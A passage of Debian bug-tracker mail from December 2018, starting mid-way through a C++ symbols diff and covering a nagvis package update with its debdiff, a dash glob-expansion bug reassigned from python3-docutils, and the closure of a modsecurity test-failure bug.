_ZSt16__introsort_loopIN9__gnu_cxx17__normal_iteratorIPPN10ClipperLib13IntersectNodeESt6vectorIS4_SaIS4_iNS0_5__ops15_Iter_comp_iterIPFbS4_S4_vT_SF_T0_T1_@Base 6.4.2-4 + _ZSt22__move_median_to_firstIN9__gnu_cxx17__normal_iteratorIPN10ClipperLib12LocalMinimumESt6vectorIS3_SaIS3_NS0_5__ops15_Iter_comp_iterINS2_12LocMinSortervT_SD_SD_SD_T0_@Base 6.4.2-4 + _ZSt25__unguarded_linear_insertIN9__gnu_cxx17__normal_iteratorIPN10ClipperLib12LocalMinimumESt6vectorIS3_SaIS3_NS0_5__ops14_Val_comp_iterINS2_12LocMinSortervT_T0_@Base 6.4.2-4 (c++)"std::__cxx11::list >::merge(std::__cxx11::list >&&)@Base" 6.4.2 (c++)"std::__cxx11::list >::sort()@Base" 6.4.2 - (c++)"std::vector >::_M_default_append(unsigned long)@Base" 6.4.2 +#MISSING: 6.4.2-4# (c++)"std::vector >::_M_default_append(unsigned long)@Base" 6.4.2 (c++)"std::vector >::operator=(std::vector > const&)@Base" 6.4.2 - (c++)"std::vector
Bug#893723: 1.9.10 closing 4 bugs
Hi fellows, I've got a 1.9.10 nagvis package ready in salsa[0], that fixes four of the currently open bugs including this one. I've also manually included 1:1.7.10+dfsg1-3.2, which wasn't present in the salsa repository. Would you like an actual MR ? I'm also attaching a debdiff of debian/* to this report, and pasting the corresponding changelog here: , | Source: nagvis | Version: 1:1.9.10-1 | Distribution: unstable | Urgency: medium | Maintainer: Sebastien Delafond | Timestamp: 1544597179 | Date: Wed, 12 Dec 2018 07:46:19 +0100 | Closes: 858042 893723 903369 903706 | Changes: | nagvis (1:1.9.10-1) unstable; urgency=medium | . |[ Bas Couwenberg ] |* Team upload. |* Update watch file for move to GitHub. |* Bump Standards-Version to 4.2.1, no changes. | . |[ Sebastien Delafond ] |* NMU |* Imported Debian patch 1:1.7.10+dfsg1-3.2 |* Update php-gettext link |* Add Files-Excluded to debian/copyright, even though those files are | gone in 1.9.x: this will make further repacking more straightforward, | should it be needed |* Add repacksuffix to debian/watch |* New upstream version 1.9.10 (Closes: #893723, #903706) |* Use db_stop at the end of postinst (Closes: #858042) |* Add pt_BR translation (Closes: #903369) |* Update Vcs-* URLs to point to salsa ` Unless you object, I plan on uploading this to delayed/10 later this week: the RC bug is 9 months old, and the last uploads of nagvis are all quite old and were all NMUs as well. Cheers, -- Seb [0] https://salsa.debian.org/seb/pkg-nagvis diff --git a/debian/changelog b/debian/changelog index 3d2348a2..bcd3fec8 100644 --- a/debian/changelog +++ b/debian/changelog @@ -1,3 +1,25 @@ +nagvis (1:1.9.10-1) unstable; urgency=medium + + [ Bas Couwenberg ] + * Team upload. + * Update watch file for move to GitHub. + * Bump Standards-Version to 4.2.1, no changes. + + [ Sebastien Delafond ] + * NMU + * Imported Debian patch 1:1.7.10+dfsg1-3.2 + * Update php-gettext link + * Add Files-Excluded to debian/copyright, even though those files are +gone in 1.9.x: this will make further repacking more straightforward, +should it be needed + * Add repacksuffix to debian/watch + * New upstream version 1.9.10 (Closes: #893723, #903706) + * Use db_stop at the end of postinst (Closes: #858042) + * Add pt_BR translation (Closes: #903369) + * Update Vcs-* URLs to point to salsa + + -- Sebastien Delafond Wed, 12 Dec 2018 07:46:19 +0100 + nagvis (1:1.7.10+dfsg1-3.2) UNRELEASED; urgency=medium * Non-maintainer upload. diff --git a/debian/control b/debian/control index ea96db7a..3f07e28f 100644 --- a/debian/control +++ b/debian/control @@ -8,10 +8,10 @@ Uploaders: Markus Frosch , Build-Depends: debhelper (>= 7.0.50~), quilt, po-debconf -Standards-Version: 3.9.5 +Standards-Version: 4.2.1 Homepage: http://www.nagvis.org -Vcs-Git: git://anonscm.debian.org/pkg-nagios/pkg-nagvis.git -Vcs-Browser: http://anonscm.debian.org/gitweb/?p=pkg-nagios/pkg-nagvis.git;a=summary +Vcs-Git: https://salsa.debian.org/nagios-team/pkg-nagvis.git +Vcs-Browser: https://salsa.debian.org/nagios-team/pkg-nagvis Package: nagvis Architecture: all diff --git a/debian/copyright b/debian/copyright index 9a80d868..e5d43b49 100644 --- a/debian/copyright +++ b/debian/copyright @@ -1,6 +1,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ Upstream-Name: NagVis Source: http://sourceforge.net/projects/nagvis/files/ +Files-Excluded: uifx share/netmap/shell.html share/netmap/shell.swf share/netmap/modules/gmap Files: * Copyright: Copyright 2007-2013, Lars Michelsen diff --git a/debian/nagvis.links b/debian/nagvis.links index 2a2622e0..f00b2429 100644 --- a/debian/nagvis.links +++ b/debian/nagvis.links @@ -3,7 +3,7 @@ /usr/share/nagvis/docs /usr/share/nagvis/share/docs /etc/nagvis/usr/share/nagvis/etc /var/cache/nagvis /usr/share/nagvis/var -/usr/share/php/php-php-gettext /usr/share/nagvis/share/server/core/ext/php-gettext-1.0.9 +/usr/share/php/php-php-gettext /usr/share/nagvis/share/server/core/ext/php-gettext-1.0.12 /usr/share/nagvis/defaults/nagvis.ini.php-sample /usr/share/doc/nagvis/nagvis.ini.php-sample /usr/share/nagvis/defaults/apache2-nagvis.conf-sample /usr/share/doc/nagvis/apache2-nagvis.conf-sample etc/nagvis/apache2.conf etc/apache2/conf-available/nagvis.conf diff --git a/debian/nagvis.postinst b/debian/nagvis.postinst old mode 100644 new mode 100755 index 4220b70e..c5243614 --- a/debian/nagvis.postinst +++ b/debian/nagvis.postinst @@ -198,6 +198,8 @@ case "$1" in ;; esac +db_stop + # dh_installdeb will replace this with shell code automatically # generated by other debhelper scripts. diff --git a/debian/patches/config.patch b/debian/patches/config.patch index e056f9f6..27cb63af 100644 --- a/debian/patches/config.patch +++
Bug#916225: python3-docutils doesn't install on Sid armel/armhf/mips/mipsel
Control: reassign -1 dash 0.5.10.2-1 Control: retitle 916255 dash: can't expand globs in directories with large inode numbers (should use AC_SYS_LARGEFILE) Control: affects 916255 python3-docutils Control: forcemerge 916255 -1 On Wed, 12 Dec 2018 at 13:56:15 +0800, vic...@gmail.com wrote: > It's dash. dash source src/expand.c, function expmeta calls to > readdir(), which may throw EOVERFLOW when some field size doesn't fit, > and add AC_SYS_LARGEFILE to configure.ac fixes this problem. This isn't really anything to do with python3-docutils (any package could have been the first one to try to expand a glob that involves large inode numbers in your container) so I'm reassigning this to dash and merging it with the dash bug. smcv
Processed: Re: Bug#916225: python3-docutils doesn't install on Sid armel/armhf/mips/mipsel
Processing control commands: > reassign -1 dash 0.5.10.2-1 Bug #916225 [python3-docutils] python3-docutils doesn't install on Sid armel/armhf/mips/mipsel Bug reassigned from package 'python3-docutils' to 'dash'. No longer marked as found in versions python-docutils/0.14+dfsg-3. Ignoring request to alter fixed versions of bug #916225 to the same values previously set Bug #916225 [dash] python3-docutils doesn't install on Sid armel/armhf/mips/mipsel Marked as found in versions dash/0.5.10.2-1. > retitle 916255 dash: can't expand globs in directories with large inode > numbers (should use AC_SYS_LARGEFILE) Bug #916255 [dash] dash may fail to expand wildcard path correctly Changed Bug title to 'dash: can't expand globs in directories with large inode numbers (should use AC_SYS_LARGEFILE)' from 'dash may fail to expand wildcard path correctly'. > affects 916255 python3-docutils Bug #916255 [dash] dash: can't expand globs in directories with large inode numbers (should use AC_SYS_LARGEFILE) Added indication that 916255 affects python3-docutils > forcemerge 916255 -1 Bug #916255 [dash] dash: can't expand globs in directories with large inode numbers (should use AC_SYS_LARGEFILE) Bug #916255 [dash] dash: can't expand globs in directories with large inode numbers (should use AC_SYS_LARGEFILE) Added tag(s) moreinfo. Bug #916225 [dash] python3-docutils doesn't install on Sid armel/armhf/mips/mipsel Severity set to 'important' from 'grave' Added indication that 916225 affects python3-docutils Added tag(s) patch and upstream. Merged 916225 916255 -- 916225: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916225 916255: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916255 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#911209: marked as done (FTBFS (some tests fail))
Your message dated Wed, 12 Dec 2018 08:18:17 + with message-id and subject line Bug#911209: fixed in modsecurity 3.0.3-1 has caused the Debian Bug report #911209, regarding FTBFS (some tests fail) to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 911209: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=911209 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: modsecurity Version: 3.0.2-1 Severity: serious Yep, some tests are failing on all buildd. Looking into it. Thanks Santiago Vila for the heads up. -- System Information: Debian Release: buster/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (1, 'experimental') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE= (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) --- End Message --- --- Begin Message --- Source: modsecurity Source-Version: 3.0.3-1 We believe that the bug you reported is fixed in the latest version of modsecurity, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 911...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Alberto Gonzalez Iniesta (supplier of updated modsecurity package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Wed, 12 Dec 2018 08:17:40 +0100 Source: modsecurity Binary: libmodsecurity-dev libmodsecurity3 Architecture: source amd64 Version: 3.0.3-1 Distribution: unstable Urgency: medium Maintainer: Alberto Gonzalez Iniesta Changed-By: Alberto Gonzalez Iniesta Description: libmodsecurity-dev - ModSecurity v3 library component (development files) libmodsecurity3 - ModSecurity v3 library component Closes: 911209 Changes: modsecurity (3.0.3-1) unstable; urgency=medium . [ Ervin Hegedüs ] * New upstream version 3.0.3 * Remove from debian/rules: Export TERM var required for test case. * Fix FTBFS (Closes: #911209): - Add upstream patch to avoid to use ENV:TERM in the regression tests - Add upstream patch to fix inet addr handling on 64 bit big endian systems * Add pkg-config to dependency list in d/control for make check in sbuild * Add to Uploaders Checksums-Sha1: b0918c3946073119966c834fa3d5af8afa49b4f9 2131 modsecurity_3.0.3-1.dsc 8fa63e7c9c139189e2c8373cb9e0e30320ac3363 3246882 modsecurity_3.0.3.orig.tar.gz fec6d69acb9848a4411b1c5d9735b4fbba35f76d 8416 modsecurity_3.0.3-1.debian.tar.xz dcdf0b8fcb89b430e6bbfc0128228eb91910774a 614192 libmodsecurity-dev_3.0.3-1_amd64.deb 17cb13a7b2b0e65c38e9600979dd3ce730e73fea 21981352 libmodsecurity3-dbgsym_3.0.3-1_amd64.deb b0e3fb1a1a5c16dd28ee616ddd5fa161d0caf3b6 512628 libmodsecurity3_3.0.3-1_amd64.deb fa8685d819e31294ee3124e9aaee0cb7760be5c7 8572 modsecurity_3.0.3-1_amd64.buildinfo Checksums-Sha256: 2637f27baaa110fe9ed9f85d2da26c414aeb183c4fd18254029813c9f18957be 2131 modsecurity_3.0.3-1.dsc 8aa1300105d8cc23315a5e54421192bc617a66246ad004bd89e67c232208d0f4 3246882 modsecurity_3.0.3.orig.tar.gz 870ba41f7c6432cb247048d795e49c4ed39f650018fe8115dd0dec30acde8092 8416 modsecurity_3.0.3-1.debian.tar.xz 51ee6d7de846ebe9b601c7b46848b185a44d0e04d3667ebb9b574922bd2d9557 614192 libmodsecurity-dev_3.0.3-1_amd64.deb cbb5c2e35762708e80a83e4b2009bf15b514137b56c405c13132a253ddbfb19e 21981352 libmodsecurity3-dbgsym_3.0.3-1_amd64.deb fbf2ff70f86bad77343ff1470bd4b670f02343f254ae5a85d4b63564d793ee32 512628 libmodsecurity3_3.0.3-1_amd64.deb 070d727b27da597235bd298353a578ab13ad444ed61f6395f8a6915e0c2b49ec 8572 modsecurity_3.0.3-1_amd64.buildinfo Files: aa61ebf2b4a8bda7e0690cede166248c 2131 libs optional modsecurity_3.0.3-1.dsc 807f7ac45c028da551e91cb3b9f26520 3246882 libs optional modsecurity_3.0.3.orig.tar.gz 02294183c28620c8c9c2618cb6b73494 8416 libs optional modsecurity_3.0.3-1.debian.tar.xz 669e53308a42c9704432f7adffab549f 614192 libdevel optional libmodsecurity-dev_3.0.3-1_amd64.deb 7988cda8a531114a2ab318ce59cbe972 21981352 debug optional libmodsecurity3-dbgsym_3.0.3-1_amd64.deb 38bf955194ea4e0ac1fb4b12e5133c3f 512628
